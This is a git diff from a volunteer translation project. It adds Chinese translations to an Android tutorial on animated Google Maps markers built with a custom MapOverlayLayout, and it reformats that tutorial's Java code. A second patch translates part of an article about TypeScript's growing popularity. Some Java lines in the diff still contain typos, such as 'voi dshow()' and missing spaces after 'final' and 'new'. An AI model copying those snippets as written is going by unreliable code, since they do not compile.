@@ -53,9 +88,9 @@ GoogleMap map=...// get a map.
 
    // Add a marker at San Francisco with an azure colored marker.
 
-   Marker marker=map.add(newMarkerOptions()
+   Marker marker=map.add(new MarkerOptions()
 
-       .position(newLatLng(37.7750,122.4183))
+       .position(new LatLng(37.7750,122.4183))
 
        .title("San Francisco")
 
@@ -66,18 +101,34 @@ GoogleMap map=...// get a map.
 
 As you can see on the [animation gif](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/#animation), we have to implement scale/fade in animation on loading, scale up/scale down animation while scrolling RecyclerView and fade out when entering details layout. It would be much easier with the Animation/ViewPropertyAnimator API available. Do we have a solution for that? Yes we have!
 
+如[效果](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/#animation)所示，我们需要在加载时实现标记渐显和缩放动画，滑动 RecycleView 的时候实现标记闪烁动画，进入详情页面的时候让标记在渐隐动画中隐藏。使用帧动画或者属性动画（Animation/ViewPropertyAnimator API）会更合理一些.我们有解决这个问题的方法吗？当然，我们有！
+
+## MapOverlayLayout ##
+
 ## MapOverlayLayout ##
 
 So what is the solution? It’s rather simple, however, it took me a while to figure this out. We need to add a MapOverlayLayout over the SupportMapFragment from GoogleMapsApi. With a projection pulled out of the map (a projection is used to translate between on-screen location and geographic coordinates on the surface of the Earth, via
 
 MapOverlayLayout is a custom FrameLayout with the same dimensions as the SupportMapFragment. When the map is loaded, we can pass a reference to the MapOverlayLayout and use it to add custom views with animation, move them along with the screen gestures, etc. And of course, we can do what we need – add Markers (now the custom views) with scale/fade animation, hide them, make the “pulse” animation while scrolling RecyclerView.
 
+该怎么办呢？其实很简单，但我还是花了点时间才弄明白。我们需要在 SupportMapFragment 上（注：也就是上一篇提到的 MapFragment）添加一层使用谷歌地图 API 所获得的 MapOverlayLayout，在该层上添加地图的映射（映射是用来转换屏幕上的的坐标和地理位置的实际坐标，参见[此文档](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection)）。
+
+**注：此处作者 via以后就没东西了，我估计是手滑写错了。下面有个一模一样的句子，但是多了一个说明，故此处按照下文翻译。**
+
+类 MapOverlayLayout 是一个自定义的 帧布局（FrameLayout），该布局和 MapFragment 大小位置完全相同。当地图加载完毕的时候，我们可以将 MapOverlayLayout 作为参数传递给 MapFragment，通过它用动画加载自定义的 View 、根据手势移动地图镜头之类的事情。当然了，我们可以做现在需要的事情 —— 通过缩放和渐显动画添加标记 （也就是现在的自定义 View)、隐藏标记、当滑动 RecycleView 让标记开始闪烁。
+
 ## MapOverlayLayout – the setup ##
 
+## MapOverlayLayout – 添加
+
 So how to setup the MapOverlayLayout to cooperate with SupportMapFragment and GoogleMap?
 
+怎么样用 SupportMapFragment 和 谷歌地图添加一个 MapOverlayLayout 呢？
+
 First, let’s look at the DetailsFragment XML:
 
+第一步,让我们先看看 DetailsFragment 的XML 文件:
+
 ```
 
 <android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
@@ -137,30 +188,38 @@ First, let’s look at the DetailsFragment XML:
 
 As we can see above, there is a PulseOverlayLayout with same dimensions as SupportMapFragment placed underneath. The PulseOverlayLayout inherits from the MapOverlayLayout and adds some specific logic for the app purpose (for example adding start and finish markers to the layout after clicking on the RecyclerView item, creating PulseMarkerView – custom views I will describe later in the post).  There is also an ImageView inside the layout – that’s the placeholder we use to create fragment enter transition I described [here](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition#enter_transition). And that’s all the work for XML! Let’s move on to another piece 0f code – the DetailsFragment itself.
 
+如我们所见，有一个和 SupportMapFragment 距离底部相等的 PulseOverlayLayout 盖在（SupportMapFragment ）上面。PulseOverlayLayout 继承自 MapOverlayLayout，根据 app 需要添加了自己独有的逻辑（比如说 点击 RecycleView 时在界面上添加开始标记与结束标记，创建 PulseMarkerView _ 一个在之后会解释的自定义 View）。在布局中还包含一个 ImageView，这是我[之前](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)准备创建的转场动画的占位符。 xml  的工作就完成了，现在就开始专注于代码实现 —— DetailsFragment。
+
 Let’s move on to another piece 0f code – the DetailsFragment itself.
 
+现在就开始专注于代码实现 DetailsFragment。
+
 ```
-publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmentPresenter>
+public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFragmentPresenter> 
 
-        implementsDetailsFragmentView,OnMapReadyCallback{
+        implements DetailsFragmentView, OnMapReadyCallback{
 
-    publicstaticfinalStringTAG=DetailsFragment.class.getSimpleName();
+    public static final String TAG = DetailsFragment.class.getSimpleName();
 
  
 
-    @BindView(R.id.recyclerview)RecyclerView recyclerView;
+    @BindView(R.id.recyclerview)
+    RecyclerView recyclerView;
 
-    @BindView(R.id.container)FrameLayout containerLayout;
+    @BindView(R.id.container)
+    FrameLayout containerLayout;
 
-    @BindView(R.id.mapPlaceholder)ImageView mapPlaceholder;
+    @BindView(R.id.mapPlaceholder)
+    ImageView mapPlaceholder;
 
-    @BindView(R.id.mapOverlayLayout)PulseOverlayLayout mapOverlayLayout;
+    @BindView(R.id.mapOverlayLayout)
+    PulseOverlayLayout mapOverlayLayout;
 
  
 
     @Override
 
-    publicvoidonViewCreated(finalView view,@Nullable finalBundle savedInstanceState){
+    public void onViewCreated(final View view,@Nullable final Bundle savedInstanceState){
 
         super.onViewCreated(view,savedInstanceState);
 
@@ -172,7 +231,7 @@ publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmen
 
  
 
-    privatevoidsetupBaliData(){
+    private void setupBaliData(){
 
         presenter.provideBaliData();
 
@@ -180,7 +239,7 @@ publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmen
 
  
 
-    privatevoidsetupMapFragment(){
+    private void setupMapFragment(){
 
         ((SupportMapFragment)getChildFragmentManager().findFragmentById(R.id.mapFragment)).getMapAsync(this);
 
@@ -190,7 +249,7 @@ publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmen
 
     @Override
 
-    publicvoidonMapReady(finalGoogleMap googleMap){
+    public void onMapReady(final GoogleMap googleMap){
 
         mapOverlayLayout.setupMap(googleMap);
 
@@ -200,7 +259,7 @@ publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmen
 
  
 
-    privatevoidsetupGoogleMap(){
+    private void setupGoogleMap(){
 
         presenter.moveMapAndAddMarker();
 
@@ -210,7 +269,7 @@ publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmen
 
     @Override
 
-    publicvoidprovideBaliData(finalList<Place>places){
+    public void provideBaliData(final List<Place>places){
 
         baliPlaces=places;
 
@@ -220,13 +279,13 @@ publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmen
 
     @Override
 
-    publicvoidmoveMapAndAddMaker(finalLatLngBounds latLngBounds){
+    public void moveMapAndAddMaker(final LatLngBounds latLngBounds){
 
         mapOverlayLayout.moveCamera(latLngBounds);
 
         mapOverlayLayout.setOnCameraIdleListener(()->{
 
-            for(inti=0;i<baliPlaces.size();i++){
+            for(int i=0;i<baliPlaces.size();i++){
 
                 mapOverlayLayout.createAndShowMarker(i,baliPlaces.get(i).getLatLng());
 
@@ -245,18 +304,22 @@ publicclassDetailsFragment extendsMvpFragment<DetailsFragmentView,DetailsFragmen
 
 As we can see above – the map is loaded exactly the same as in the previous article, with *onMapReady* method. After receiving this callback, we are able to update maps bounds, add markers to MapOverlayLayout and set proper listeners.
 
+如上所示，地图通过 **onMapReady** 和上一篇一样进行加载。在接收回调后。我们就可以更新地图的边界，在 MapOverlayLayout 添加标记，设置监听.
+
 In the following code, we are moving the camera to the bounds that will show us all of the markers. Next, when camera finishes moving, we are creating markers and showing them on the map. After that, we set OnCameraIdleListener to null. It is because we don’t want to add markers when we move the camera. In the last line of code, we are setting OnCameraMoveListener to refresh all of the Markers positions on the screen.
 
+在下面的代码中，我们会把地图镜头移动到可以展示我们所有标记的地方。然后当镜头移动完毕时，在地图上创造并展示标记。在这之后，我们设置 OnCameraIdleListener  空（null）。因为我们希望再次移动镜头时不要添加标记。在最后一行代码中，我们为 OnCameraMoveListener 设置了刷新所有标记位置的动作。
+
 ```
 @Override
 
-    publicvoidmoveMapAndAddMaker(finalLatLngBounds latLngBounds){
+    public void moveMapAndAddMaker(final LatLngBounds latLngBounds){
 
         mapOverlayLayout.moveCamera(latLngBounds);
 
         mapOverlayLayout.setOnCameraIdleListener(()->{
 
-            for(inti=0;i<baliPlaces.size();i++){
+            for(int i=0;i<baliPlaces.size();i++){
 
                 mapOverlayLayout.createAndShowMarker(i,baliPlaces.get(i).getLatLng());
 
@@ -273,28 +336,36 @@ In the following code, we are moving the camera to the bounds that will show us
 
 ## MapOverlayLayout – how does it work? ##
 
+## MapOverlayLayout – 它是怎么工作的呢？
+
 So how it actually works?
 
+那么它究竟是如何工作的呢？
+
 With a projection pulled out of the map (a projection is used to translate between on-screen location and geographic coordinates on the surface of the Earth, via [*documentation*](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection)) we are able to get x and y values of the Marker and use them to place Custom View in the place of the Marker on the MapOverlayLayout.
 
+通过地图映射(映射是用来转换屏幕上的的坐标和地理位置的实际坐标，参见[此文档](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection))。我们可以拿到标记的横坐标与纵坐标，通过坐标来在 MapOverlayLayout 上放置标记的自定义 View。
+
 This approach allows us to use f.e. ViewPropertyAnimator API with custom views to animate them.
 
+这种做法可以让我们使用比如自定义 View 的属性动画（ViewPropertyAnimator ）API 创建动画效果。
+
 ```
-publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
+public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
  
 
-    protectedList<V>markersList;
+    protected List<V> markersList;
 
-    protectedPolyline currentPolyline;
+    protected Polyline currentPolyline;
 
-    protectedGoogleMap googleMap;
+    protected GoogleMap googleMap;
 
-    protectedArrayList<LatLng>polylines;
+    protected ArrayList<LatLng>polylines;
 
  
 
-    publicMapOverlayLayout(finalContext context){
+    public MapOverlayLayout(final Context context){
 
         this(context,null);
 
@@ -302,7 +373,7 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    publicMapOverlayLayout(finalContext context,finalAttributeSet attrs){
+    public MapOverlayLayout(final Context context,final AttributeSet attrs){
 
         super(context,attrs);
 
@@ -312,7 +383,7 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    protectedvoidaddMarker(finalVview){
+    protected void addMarker(final V view){
 
         markersList.add(view);
 
@@ -322,7 +393,7 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    protectedvoidremoveMarker(finalVview){
+    protected void removeMarker(final V view){
 
         markersList.remove(view);
 
@@ -332,7 +403,7 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    publicvoidshowMarker(finalintposition){
+    public void showMarker(final int position){
 
         markersList.get(position).show();
 
@@ -340,7 +411,7 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    privatevoidrefresh(finalintposition,finalPoint point){
+    private void refresh(final int position,final Point point){
 
         markersList.get(position).refresh(point);
 
@@ -348,19 +419,19 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    publicvoidsetupMap(finalGoogleMap googleMap){
+    public void setupMap(final GoogleMap googleMap){
 
-        this.googleMap=googleMap;
+        this.googleMap = googleMap;
 
     }
 
  
 
-    publicvoidrefresh(){
+    public void refresh(){
 
         Projection projection=googleMap.getProjection();
 
-        for(inti=0;i<markersList.size();i++){
+        for(int i=0;i<markersList.size();i++){
 
             refresh(i,projection.toScreenLocation(markersList.get(i).latLng()));
 
@@ -370,7 +441,7 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    publicvoidsetOnCameraIdleListener(finalGoogleMap.OnCameraIdleListener listener){
+    public void setOnCameraIdleListener(final GoogleMap.OnCameraIdleListener listener){
 
         googleMap.setOnCameraIdleListener(listener);
 
@@ -378,7 +449,7 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    publicvoidsetOnCameraMoveListener(finalGoogleMap.OnCameraMoveListener listener){
+    public void setOnCameraMoveListener(final GoogleMap.OnCameraMoveListener listener){
 
         googleMap.setOnCameraMoveListener(listener);
 
@@ -386,7 +457,7 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
  
 
-    publicvoidmoveCamera(finalLatLngBounds latLngBounds){
+    public void moveCamera(final LatLngBounds latLngBounds){
 
         googleMap.moveCamera(CameraUpdateFactory.newLatLngBounds(latLngBounds,150));
 
@@ -397,18 +468,20 @@ publicclassMapOverlayLayout<VextendsMarkerView>extendsFrameLayout{
 
 The methods used in the *moveMapAndAddMarker* method in DetailsFragment are visible above. We can see setters for CameraListeners, *refresh* method for updating the Marker position on the MapOverlayLayout; *addMarker* and *removeMarker* methods,  which are adding MarkerView to the layout and also to the list. With this approach, the MapOverlayLayout have references to all of the views added to the MapOverlayLayout. At the top of the class, we can see that we have to make our custom views to inherit from the MarkerView. It is an abstract class that inherits from View class and looks like this:
 
+解释一下在 **moveMapAndAddMarker** 里调用的方法：为 CameraListeners 监听提供了 set 方法；**刷新**方法是为了更新标记的位置；**addMarker** 和 **removeMarker** 是用来添加 MarkerView (也就是上文所说的自定义 view)到布局和列表中。通过这个方案，MapOverlayLayout持有了所有被添加到自身的 View 引用。在类的最上面的是继承自 自定义 View —— MarkerView —— 的泛型。MarkerView 是一个继承自 View 的抽象类，看起来像这样：
+
 ```
-publicabstractclassMarkerViewextendsView{
+public abstract class MarkerView extends View{
 
  
 
-    protectedPoint point;
+    protected Point point;
 
-    protectedLatLng latLng;
+    protected LatLng latLng;
 
  
 
-    privateMarkerView(finalContext context){
+    private MarkerView(final Context context){
 
         super(context);
 
@@ -416,7 +489,7 @@ publicabstractclassMarkerViewextendsView{
 
  
 
-    publicMarkerView(finalContext context,finalLatLng latLng,finalPoint point){
+    public MarkerView (final Context context,final LatLng latLng,final Point point){
 
         this(context);
 
@@ -428,75 +501,77 @@ publicabstractclassMarkerViewextendsView{
 
  
 
-    publicdoublelat(){
+    public double lat(){
 
-        returnlatLng.latitude;
+        return latLng.latitude;
 
     }
 
  
 
-    publicdoublelng(){
+    public double lng(){
 
-        returnlatLng.longitude;
+        return latLng.longitude;
 
     }
 
  
 
-    publicPoint point(){
+    public Point point(){
 
-        returnpoint;
+        return point;
 
     }
 
  
 
-    publicLatLng latLng(){
+    public LatLng latLng(){
 
-        returnlatLng;
+        return latLng;
 
     }
 
  
 
-    publicabstractvoidshow();
+    public abstract voi dshow();
 
  
 
-    publicabstractvoidhide();
+    public abstract void hide();
 
  
 
-    publicabstractvoidrefresh(finalPoint point);
+    public abstract void refresh(final Point point);
 
 }
 ```
 
 With *show, hide* and *refresh* abstract methods we can specify the way the Marker will appear, disappear or refresh. It also needs the Context, LatLng and Point. Let’s look into our implementation:
 
+通过抽象方法 **show, hide** 和 **refresh** ，我们可以使得标记显示、消失或者刷新。它还需要 Context 对象、经纬度和在屏幕上的坐标点。我们一起来看看它的实现类：
+
 ```
-publicclassPulseMarkerViewextendsMarkerView{
+public class PulseMarkerView extends MarkerView{
 
-    privatestaticfinalintSTROKE_DIMEN=2;
+    private static final int STROKE_DIMEN=2;
 
  
 
-    privateAnimation scaleAnimation;
+    private Animation scaleAnimation;
 
-    privatePaint strokeBackgroundPaint;
+    private Paint strokeBackgroundPaint;
 
-    privatePaint backgroundPaint;
+    private Paint backgroundPaint;
 
-    privateStringtext;
+    private String text;
 
-    privatePaint textPaint;
+    private Paint textPaint;
 
-    privateAnimatorSet showAnimatorSet,hideAnimatorSet;
+    private AnimatorSet showAnimatorSet,hideAnimatorSet;
 
  
 
-    publicPulseMarkerView(finalContext context,finalLatLng latLng,finalPoint point){
+    public PulseMarkerView(final Context context,final LatLng latLng,final Point point){
 
         super(context,latLng,point);
 
@@ -522,7 +597,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    publicPulseMarkerView(finalContext context,finalLatLng latLng,finalPoint point,finalintposition){
+    public PulseMarkerView(final Context context,final LatLng latLng,final Point point,final int position){
 
         this(context,latLng,point);
 
@@ -532,7 +607,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoidsetupHideAnimatorSet(){
+    private void setupHideAnimatorSet(){
 
         Animator animatorScaleX=ObjectAnimator.ofFloat(this,View.SCALE_X,1.0f,0.f);
 
@@ -564,7 +639,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoidsetupSizes(finalContext context){
+    private void setupSizes(finalContext context){
 
         size=GuiUtils.dpToPx(context,32)/2;
 
@@ -572,7 +647,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoidsetupShowAnimatorSet(){
+    private void setupShowAnimatorSet(){
 
         Animator animatorScaleX=ObjectAnimator.ofFloat(this,View.SCALE_X,1.5f,1.f);
 
@@ -584,7 +659,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
             @Override
 
-            publicvoidonAnimationStart(finalAnimator animation){
+            public void onAnimationStart(finalAnimator animation){
 
                 super.onAnimationStart(animation);
 
@@ -596,7 +671,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
         });
 
-        showAnimatorSet=newAnimatorSet();
+        showAnimatorSet = newAnimatorSet();
 
         showAnimatorSet.playTogether(animator,animatorScaleX,animatorScaleY);
 
@@ -604,7 +679,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoidsetupScaleAnimation(finalContext context){
+    private void setupScaleAnimation(final Context context){
 
         scaleAnimation=AnimationUtils.loadAnimation(context,R.anim.pulse);
 
@@ -614,7 +689,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoidsetupTextPaint(finalContext context){
+    private void setupTextPaint(final Context context){
 
         textPaint=newPaint();
 
@@ -628,7 +703,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoidsetupStrokeBackgroundPaint(finalContext context){
+    private void setupStrokeBackgroundPaint(final Context context){
 
         strokeBackgroundPaint=newPaint();
 
@@ -644,7 +719,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoidsetupBackgroundPaint(finalContext context){
+    private void setupBackgroundPaint(final Context context){
 
         backgroundPaint=newPaint();
 
@@ -658,7 +733,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
     @Override
 
-    publicvoidsetLayoutParams(finalViewGroup.LayoutParams params){
+    public void setLayoutParams(final ViewGroup.LayoutParams params){
 
         FrameLayout.LayoutParams frameParams=newFrameLayout.LayoutParams(FrameLayout.LayoutParams.WRAP_CONTENT,FrameLayout.LayoutParams.WRAP_CONTENT);
 
@@ -676,7 +751,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    publicvoidpulse(){
+    public void pulse(){
 
         startAnimation(scaleAnimation);
 
@@ -686,7 +761,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
     @Override
 
-    protectedvoidonDraw(finalCanvas canvas){
+    protected void onDraw(final Canvas canvas){
 
         drawBackground(canvas);
 
@@ -700,7 +775,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoiddrawText(finalCanvas canvas){
+    private void drawText(final Canvas canvas){
 
         if(text!=null&&!TextUtils.isEmpty(text))
 
@@ -710,7 +785,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoiddrawStrokeBackground(finalCanvas canvas){
+    private void drawStrokeBackground(final Canvas canvas){
 
         canvas.drawCircle(size,size,GuiUtils.dpToPx(context,28)/2,strokeBackgroundPaint);
 
@@ -718,7 +793,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    privatevoiddrawBackground(finalCanvas canvas){
+    private void drawBackground(final Canvas canvas){
 
         canvas.drawCircle(size,size,size,backgroundPaint);
 
@@ -726,7 +801,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    publicvoidsetText(Stringtext){
+    public void setText(Stringtext){
 
         this.text=text;
 
@@ -738,7 +813,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
     @Override
 
-    publicvoidhide(){
+    public void hide(){
 
         hideAnimatorSet.start();
 
@@ -748,7 +823,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
     @Override
 
-    publicvoidrefresh(finalPoint point){
+    public void refresh(finalPoint point){
 
         this.point=point;
 
@@ -760,7 +835,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
     @Override
 
-    publicvoidshow(){
+    public void show(){
 
         showAnimatorSet.start();
 
@@ -768,7 +843,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    publicvoidshowWithDelay(finalintdelay){
+    public void showWithDelay(final int delay){
 
         showAnimatorSet.setStartDelay(delay);
 
@@ -778,7 +853,7 @@ publicclassPulseMarkerViewextendsMarkerView{
 
  
 
-    publicvoidupdatePulseViewLayoutParams(finalPoint point){
+    public void updatePulseViewLayoutParams(final Point point){
 
         this.point=point;
 
@@ -803,30 +878,48 @@ publicclassPulseMarkerViewextendsMarkerView{
  
 This is PulseMarkerView class which inherits from MarkerView. In the constructor, we are setting up the AnimatorSets for showing, hiding and “pulsing”. In overridden methods from MarkerView, we are simply starting specific AnimatorSet. There is also *updatePulseViewLayoutParams* method which updates the position of the PulseViewMarker on the screen. The rest is drawing on the canvas with Paints created in the constructor.
 
+这是继承自 MarkerView 的 PulseMarkerView。在构造方法（constructor）中，我们设置一个显示、消失和闪烁的动画序列(AnimatorSets)。在重写 MarkerView 的方法里，我们只是单纯的启动了这个动画序列。**updatePulseViewLayoutParams** 中更新了屏幕上的 PulseViewMarker。剩下的就是根据构造方法，重写了 onDraw 方法来重绘界面。
+
 This is the effect:
 
+效果：
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/load_markers_pulse.gif?x77083)
 
 *Loading Markers and scaling on scroll*
 
+**加载地图和滑动 RecycleView**
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/moving_map.gif?x77083)
 
 *Refreshing the markers position while moving the map*
 
+**移动地图镜头时刷新标记**
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_map.gif?x77083)
 
 *Zooming the map*
 
+**地图缩放**
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_pulsing.gif?x77083)
 
 *Zooming the map and scaling Markers while scrolling*
 
+**缩放和滚动效果**
+
 # Conclusion #
 
+# 总结
+
 As we can see, there is a big advantage from this approach – we can use the power of the Custom Views widely. Also, there is a very little delay when we move the map and refresh Markers position. I think it is a little price we have to pay compared to the advantages we have from this solution.
 
+如上所示，这种做法有一个巨大的进步 —— 我们可以广泛的使用自定义 View 的力量。不过呢，移动地图和刷新标记位置的时候会有一点小延迟。和完成的需求相比，这是可以可以接受的代价。
+
 Thanks for reading! Next part will be published on Tuesday 14.03. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
 
+多谢阅读！下一篇会在周二 14:03 更新。如果有任何疑问，欢迎评论。如果觉得有帮助的话，不要忘记分享哟。
+
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 7d523cf08d86dea35ee85f286ea9659b946b3152 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Mon, 8 May 2017 23:19:00 +0800
Subject: [PATCH 374/638] stash

---
 TODO/typescript-getting-popular.md | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index 5e01737c626..ecc116b4587 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -24,25 +24,26 @@ RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结
 
 ## 不止是 Angular2 ##
 
-“There’s no doubt the partnership that we have with the Angular team has helped drive the numbers,” core TypeScript developer [Anders Hejlsberg ](https://twitter.com/ahejlsberg?lang=en)told The New Stack. “That goes without saying; but even so, I think the real point is that it was a massive vote of confidence on the part of an important industry force.”
+『毫无疑问，我们与 Angular 团队的合作有助于 TypeScript 的推广』，TypeScript 核心成员 [Anders Hejlsberg ](https://twitter.com/ahejlsberg?lang=en) 向 New Stack 说到。『但即便如此，我认为真正重要的点在于这是一次代表了行业力量重大信心的投票。』
 
-That vote of confidence is broader than just Angular, he pointed out. “Lots of other frameworks are using TypeScript at this point. [Aurelia](http://aurelia.io/), [Ionic](https://ionicframework.com/), NativeScript are all, in one way or another, involved in TypeScript. The [Ember ](https://www.emberjs.com/)framework, the [Glimmer ](https://github.com/glimmerjs)framework that was just released is written in TypeScript.”
+他指出，这种信任投票带来的影响比 Angular 更广泛。『目前，许多其它框架也在使用 TypeScript。[Aurelia](http://aurelia.io/)、[Ionic](https://ionicframework.com/)、NativeScript都以某种方式使用了 TypeScript。[Ember](https://www.emberjs.com/) 框架与[Glimmer](https://github.com/glimmerjs) 框架的最新发布版本就是使用 TypeScript 编写的。』
 
-> “We’re seeing a pretty large vote of confidence by a lot of people who have a lot of experience in this industry and I think that’s probably what everyone at large is noticing,” — Anders Hejlsberg
+> 『我们看到许多来自在这个行业经验丰富的人的信任投票。我想这可能是每个在大公司的人都会注意到的』—— Anders Hejlsberg
 
-That vote of confidence brings framework users on board too. “We’ve done a lot of work to be a really great citizen in the[ React ecosystem](https://facebook.github.io/react/). We support [JSX](https://jsx.github.io/), we support all the advanced type system features that you want like refactoring and code navigation on JSX markup. We’re also now working with the [Vue.js](https://vuejs.org/) community to provide better support for the patterns used in the framework,” Hejlsberg said.
+这种信任投票也给框架的使用者带来了机会。『我们做了很多努力以成为 [React 生态](https://facebook.github.io/react/)中重要的一员。我们支持 [JSX](https://jsx.github.io/)，支持所有你在重构或是浏览 JSX 代码时想要用到的类型系统的高级特性。我们还正在和 [Vue.js](https://vuejs.org/) 社区合作以更好的支持这个框架中用到的各种模式。』 Hejlsberg说到。
 
-Adding support for new frameworks is an important part of staying popular with developers. “We’re always on the lookout when it comes to frameworks. We understand that this a very dynamic ecosystem. It changes a lot; you’ve got to stay on your toes and work well with everything.”
+为新框架提供支持是在开发者中保持流行度的一项重要手段。『我们始终都在关注框架领域。我们知道这是一个不断变化的生态系统。它在不断变化，你必须时刻准备着并保证一切顺利。』
 
-The same is true for the tooling pipeline, especially as ECMAScript modules become more popular. “A lot of people writing modern style JavaScript apps use modules, and when you’re using ECMAScript 6 modules you need a bundler to bundle up your code so it can run in a browser, like [Webpack](https://webpack.github.io/) or [Rollup.js](https://rollupjs.org/). We make sure to work well with those tools so we fit into the whole pipeline,” Hejlsberg said.
+对于工具链来说也是如此，尤其是在 ECMAScript 模块愈发流行的情况下。『许多人使用模块编写现代风格的 JavaScript 应用，当你使用 ECMAScript 6模块的时候，你需要使用一个类似 [Webpack](https://webpack.github.io/) 或 [Rollup.js](https://rollupjs.org/)这样的打包工具将代码打包起来以便能在浏览器中运行。我们要确保 TypeScript 可以与这些工具配合使用以保证我们可以融入整个工具链之中』 Hejlsberg说到。
 
 [![](https://cdn.thenewstack.io/media/2017/04/940acc19-stateofthenation.png)](http://vmob.me/DE1Q17)
 
-React is a library with Facebook roots. Angular is a Google-spawned framework. There is abundant analysis comparing them, and in general, it shows that Angular trails, with Vue.js getting significant buzz. Angular has seen a lot of uptake among TypeScript fans, with 41 percent prioritizing 2.x and another 18 percent favoring the older version. With the recent release of Angular 4 and TypeScript’s growing popularity, we expect the JavaScript wars to continue (Lawrence Hecht).
+React 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架。有很多分析把它们做了比较。总得来说，Angular 处于领跑地位，与此同时 Vue.js 正在受到大量关注。Angular 在 TypeScript 的用户圈中受到追捧，41%的人倾向于 2.x 版本，另外18%的人则更喜欢老版本。随着近期 Angular 4 的发布以及 TypeScript 的日益流行，我们预计 JavaScript 的战争还将持续下去（Lawrence Hecht）。
 
-There’s also been the same steady growth in the number of libraries with TypeScript definitions. [DefinitelyTyped](http://definitelytyped.org/), a  repository for TypeScript typed definitions, now has over 3,000 frameworks and libraries. That’s accelerated by automatically scraping and publishing declaration files as npm packages under the @type namespace.
+拥有 TypeScript 定义的库的数量也在稳步增长。[DefinitelyTyped](http://definitelytyped.org/)，一个维护 TypeScript 类型定义的仓库，现在已经包含了超过3000个框架和库。通过把声明文件作为 npm 包发布在 @type 命名空间下，这个过程被大大提速了。
+
+『这意味着现在有一个可以预测哪些框架支持类型的方法 —— 我们可以自动提供这些类型。当我们发现你引用了某个特定的框架时，我们就可以帮你找到类型定义，你就不必亲自去寻找了。』事实上，Hejlsberg 声称：『对某些开发者来说，某个框架是否拥有类型定义，已经成为了他们在选择框架时的决定性因素。』
 
